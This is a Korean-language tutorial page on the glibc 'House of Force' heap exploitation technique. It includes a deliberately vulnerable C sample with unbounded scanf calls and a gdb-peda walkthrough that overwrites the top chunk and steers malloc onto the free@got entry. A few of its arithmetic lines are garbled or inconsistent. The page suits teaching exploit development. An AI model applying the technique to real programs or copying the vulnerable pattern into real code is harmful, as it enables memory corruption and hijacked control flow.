Page tree
Skip to end of metadata
Go to start of metadata

Excuse the ads! We need some help to keep our site up.

List


The House of Force

Conditions

  • 해당 기술은 다음과 같은 조건이 만족해야만 동작합니다.
    1. 공격자에 의해 Top chunk영역에 값을 덮어쓸 수 있어야 합니다.
    2. 공격자에 의해 할당되는 Heap 크기를 제어 할 수 있어야 합니다.
    3. 공격자에 의해 할당된 Chunk 영역에 값을 저장 할 수 있어야 합니다.

Exploit plan

  • 다음과 같은 방법으로 공격할 수 있습니다.
    • Heap 영역을 생성합니다.
    • Top chunk를 0xffffffffffffffff으로 덮어씁니다.
    • 다음과 같이 계산된 값을 Malloc()의 인자 값으로 전달해 메모리를 할당 합니다.
      • Target address - Allocated chunk header size(8/4) - Top chunk address
    • 또 다시 Malloc()를 호출합니다.
      • 공격자가 할당받기 원하던 영역이 할당됩니다.

Example

Files

Source code

  • 해당 함수는 다음과 같은 기능을 합니다.
    • 프로그램에서 3개의 Heap 영역을 할당합니다.
    • 생성된 Heap 영역은 사용자에 의해 길이 제한없이 값을 저장 할 수 있습니다.
    • 할당된 영역은 free()함수에 의해 모두 해제됩니다.
Sample code
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char *argv[])
{
	int size;
    char *buf1, *buf2, *buf3;
 
 	buf1 = malloc(256);
	printf("buf1 : ");
	scanf("%s",buf1);

	printf("Size : ");
	scanf("%d",&size);
	buf2 = malloc(size);

	printf("buf3 : ");
	buf3 = malloc(256);
	scanf("%s",buf3);

	free(buf3);
	free(buf2);
	free(buf1);
 
	return 0;
}

Exploit flow

The House of Force

Debugging

  • 다음과 같이 Break point를 설정합니다.
    • 0x40066f : 1번째 scanf() 함수 호출 후 

    • 0x40069c : 2번째 malloc() 함수 호출 전

    • 0x4006be : 3번째 malloc() 함수 호출 후

Break points
gdb-peda$ b *0x000000000040066f
Breakpoint 1 at 0x40066f
gdb-peda$ b *0x000000000040069c
Breakpoint 2 at 0x40069c
gdb-peda$ b *0x00000000004006be
Breakpoint 3 at 0x4006be
gdb-peda$ 
  • 다음과 같이 사용자 입력 값에 의해 Top chunk의 값을 덮어 쓸 수 있습니다.
    • 사용자로 부터 입력받는 문자열에 대한 길이 제한이 없기 때문에 Top chunk를 덮어 쓸 수 있습니다.
      • Top chunk를 덮어쓰기 위한 문자열의 길이 : "A" * 264 + "B" * 8
    • 나는 테스트를 위해 'B' 문자 8개를 Top chunk에 저장하였습니다.
    • 공격자는 "House of Force" 기법을 사용하기 위해 Top chunk영역에 "0xffffffffffffffff" 값을 저장해야 합니다.
      • 여기에서는 set 명령어를 이용해 Top chunk의 값을 변경하겠습니다.
Overwrite the Top chunk
gdb-peda$ r
Starting program: /home/lazenca0x0/force 
buf1 : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Breakpoint 1, 0x000000000040066f in main ()
gdb-peda$ x/40gx 0x602010 - 0x10
0x602000:	0x0000000000000000	0x0000000000000111
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4141414141414141	0x4141414141414141
0x602030:	0x4141414141414141	0x4141414141414141
0x602040:	0x4141414141414141	0x4141414141414141
0x602050:	0x4141414141414141	0x4141414141414141
0x602060:	0x4141414141414141	0x4141414141414141
0x602070:	0x4141414141414141	0x4141414141414141
0x602080:	0x4141414141414141	0x4141414141414141
0x602090:	0x4141414141414141	0x4141414141414141
0x6020a0:	0x4141414141414141	0x4141414141414141
0x6020b0:	0x4141414141414141	0x4141414141414141
0x6020c0:	0x4141414141414141	0x4141414141414141
0x6020d0:	0x4141414141414141	0x4141414141414141
0x6020e0:	0x4141414141414141	0x4141414141414141
0x6020f0:	0x4141414141414141	0x4141414141414141
0x602100:	0x4141414141414141	0x4141414141414141
0x602110:	0x4141414141414141	0x4242424242424242
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ set * 0x602118 = 0xffffffff
gdb-peda$ set * 0x60211c = 0xffffffff
gdb-peda$ x/gx 0x602118
0x602118:	0xffffffffffffffff
gdb-peda$
  • 다음과 같이 계산된 값을 malloc()함수의 인자 값으로 전달 합니다.
    • 원하는 Memory 영역을 할당받기 위해 다음과 같이 계산된 값을 Mallo()함수의 인자 값으로 전달합니다.
      • "할당 받기 원하는 주소" - "Chunk header size(16 or 8)" - Top chunk address
    • free()함수의 got 영역을 공격 대상으로 설정하고 진행하겠습니다.
      • "free@got(0x601018)" - "Chunk header size(0x10)" - "Top chunk address(0x602118)" - 0x80xffffeee8

      • 해당 연산에서 0x8을 빼는 이유는 Heap 할당 영역은 0x*0 단위로 할당 되기 때문입니다.
    • 이렇게 연산된 값을 Set 명령어를 이용해 rdi 레지스터에 저장합니다.
      • set $rdi = 0xffffffffffffeee8

      • 할당 예상 영역 : -3476(0xffffffffffffeee8) + 0x602110 + 0x10 +0x8 = 0x600ff8

    • malloc() 함수를 호출하면 첫번째 Heap 영역 뒤에 생성된 것을 확인 할 수 있습니다.
      • 해당 Heap 크기는 0xffffffffffffeef1 입니다.
      • Top chunk 영역 : -4376(0xffffffffffffeef1) + 0x602110 + 0x8 = 0x601000
Set the heap size
gdb-peda$ c
Continuing.
Size : 1

Breakpoint 2, 0x000000000040069c in main ()
gdb-peda$ elfsymbol free
Detail symbol info
free@reloc = 0
free@plt = 0x4004e0
free@got = 0x601018
gdb-peda$ p/x 0x601018 - 0x10 - 0x602118 - 0x8
$1 = 0xffffeee8
gdb-peda$ set $rdi = 0xffffffffffffeee8
gdb-peda$ i r rdi
rdi            0xffffffffffffeee8	0xffffffffffffeee8
gdb-peda$ ni
0x00000000004006a1 in main ()
gdb-peda$ i r rax
rax            0x602120	0x602120
gdb-peda$ x/30gx 0x602120 - 0x10
0x602110:	0x4141414141414141	0xffffffffffffeef1
0x602120:	0x0000000000000000	0x0000000000000000
0x602130:	0x0000000000000000	0x0000000000000000
0x602140:	0x0000000000000000	0x0000000000000000
0x602150:	0x0000000000000000	0x0000000000000000
0x602160:	0x0000000000000000	0x0000000000000000
0x602170:	0x0000000000000000	0x0000000000000000
0x602180:	0x0000000000000000	0x0000000000000000
0x602190:	0x0000000000000000	0x0000000000000000
0x6021a0:	0x0000000000000000	0x0000000000000000
0x6021b0:	0x0000000000000000	0x0000000000000000
0x6021c0:	0x0000000000000000	0x0000000000000000
0x6021d0:	0x0000000000000000	0x0000000000000000
0x6021e0:	0x0000000000000000	0x0000000000000000
0x6021f0:	0x0000000000000000	0x0000000000000000
gdb-peda$ p/d 0xffffffffffffeee8
$2 = -4376
gdb-peda$ p/d 0xffffffffffffeef1
$3 = -4367
gdb-peda$ p/x -4376 + 0x602110 + 0x10 +0x8
$4 = 0x601010
gdb-peda$ p/x -4367 + 0x602110 - 0x1
$5 = 0x601000
  • 다음과 같이 또 한번 Heap 영역을 할당 받으면 "free@got" 영역을 할당 받을 수 있습니다.
    • 할당 받은 영역은 scanf() 함수에 의해 사용자 입력값을 저장 할 수 있습니다.
Allocate the ".got" area
gdb-peda$ c
Continuing.


Breakpoint 3, 0x00000000004006be in main ()
gdb-peda$ i r rax
rax            0x601010	0x601010
gdb-peda$ x/10gx 0x601010 - 0x10
0x601000:	0x0000000000600e28	0x0000000000000111
0x601010:	0x00007ffff7df0670	0x00000000004004e6
0x601020 <printf@got.plt>:	0x00007ffff7a65340	0x00007ffff7a32e50
0x601030 <__gmon_start__@got.plt>:	0x0000000000400516	0x00007ffff7a93a80
0x601040 <__isoc99_scanf@got.plt>:	0x00007ffff7a6ed10	0x0000000000000000
gdb-peda$ x/gx 0x601010 + 0x8
0x601018 <free@got.plt>:	0x00000000004004e6
gdb-peda$ 

Related information